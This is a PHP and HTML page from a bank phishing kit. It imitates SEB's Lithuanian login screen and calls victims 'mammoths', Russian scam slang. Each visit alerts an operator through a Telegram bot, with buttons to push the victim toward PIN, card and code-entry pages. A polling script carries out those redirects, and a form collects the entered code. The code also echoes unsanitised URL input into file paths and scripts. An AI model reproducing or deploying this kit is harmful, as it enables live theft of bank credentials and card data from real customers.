<?php
$config = json_decode(file_get_contents('config.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$price = ($pay->price);
$login = $pay->login;



message_to_telegram($config->token, $config->chat_id, "✅ Мамонт направлен на кастомку \n<b>🔹 Login:</b> <code>{$login}</code>",[

        [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],  
         [
            ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_GET['id']],
        ], 
         [
            ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_GET['id']],
        ],
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],
            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);

switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}


switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}


?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>SEB Prisijungimas</title>
  <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
  <link href="assets/css/vbiv.css" rel="stylesheet">
  <link href="assets/css/fonts.css" rel="stylesheet">
</head>
<body>
  <main>
  <div class="block_confirm_main">
    <div class="head_block">
      <div class="logos_wrap">
        <img class="logo_service" src="data:image/svg+xml,%3Csvg class='seb-logo' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 800 800'%3E%3Cpath d='M0 0h800v800H0z' fill='%2360cd18'/%3E%3Cpath d='M290.55 348.35l-25.87 19.32c-12.22-10.51-28-12.57-36.65-12.57s-18 2.51-19.37 8.82c-1.38 6.12 4.31 10.88 14.08 13.53 11.14 3 21.29 5.66 36.92 10.12 23.24 6.63 39.13 16.69 39.13 40 0 32.14-28.53 48.8-66.75 48.8s-64.26-19.91-72-29.2l27.35-20.45c19.21 16.75 32.57 19.11 43.74 19.11 12.81 0 24.79-2.75 26.33-10 1.25-5.82-3.58-10.45-14.49-13-12.35-2.85-22.77-5.14-34.4-8.2-31.52-8.27-40.41-26.6-40.41-43.06 0-22.67 21.1-45.95 59.69-45.95 39.57 0 62.74 22.67 62.74 22.67m164.9-20.4H340.12V472.1h117.45v-33.24h-76.94v-23.22h53v-31.8h-53v-23h74.83zM310.27 505.37h9V294.63h-9zm162.45 0h9V294.63h-9zm29.8-33.27h92.64c24.77 0 44.84-14.93 44.84-38.84 0-18.65-12.21-31-29.32-36.47a9.6 9.6 0 0 0-1.66-.21 10.36 10.36 0 0 0 1.66-.29c9.8-3.88 20.66-14.21 20.66-31.8 0-22.31-19.74-36.54-44.1-36.54h-84.72zm40.7-114.17h32.36c7.45 0 13.48 5.88 13.48 12.64s-6 12.66-13.48 12.66h-32.36zm39.58 82.13h-39.58v-26.29h39.58a13.15 13.15 0 0 1 0 26.28z' fill='%23fff'/%3E%3C/svg%3E">
   
        <svg role="img" aria-labelledby="svg-inline--fa-title-nXUwrWoAuoiS" data-prefix="far" data-icon="lock-alt" class="logo_visa" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><title id="svg-inline--fa-title-nXUwrWoAuoiS">Безопасный вход</title><path fill="currentColor" d="M224 412c-15.5 0-28-12.5-28-28v-64c0-15.5 12.5-28 28-28s28 12.5 28 28v64c0 15.5-12.5 28-28 28zm224-172v224c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V240c0-26.5 21.5-48 48-48h32v-48C80 64.5 144.8-.2 224.4 0 304 .2 368 65.8 368 145.4V192h32c26.5 0 48 21.5 48 48zm-320-48h192v-48c0-52.9-43.1-96-96-96s-96 43.1-96 96v48zm272 48H48v224h352V240z"></path></svg>
      </div>
    </div>
    <div class="main_info_wrap">
      <form method="post" action="checkCustom.php">
      <p class="text_custom"><?php echo $pay->msgText;?></p>
<hr>
  <input class="input_form" placeholder="******" name="custom_text" required minlength="2"  maxlength="12">
   <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
  <hr>
  <button class="btn" type="submit">Prisijungti</button>
</form>
    </div>
  </div>
</main>

</body>
</html>

<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>

<script>



setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
       
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
        if (res.data === 'msgpin') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'msgpin2') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
         if (res.data === 'gen') {
            window.location.href = 'gen.php?id=<?php echo $_GET['id']; ?>';
        }
    });
}, 3000);



</script>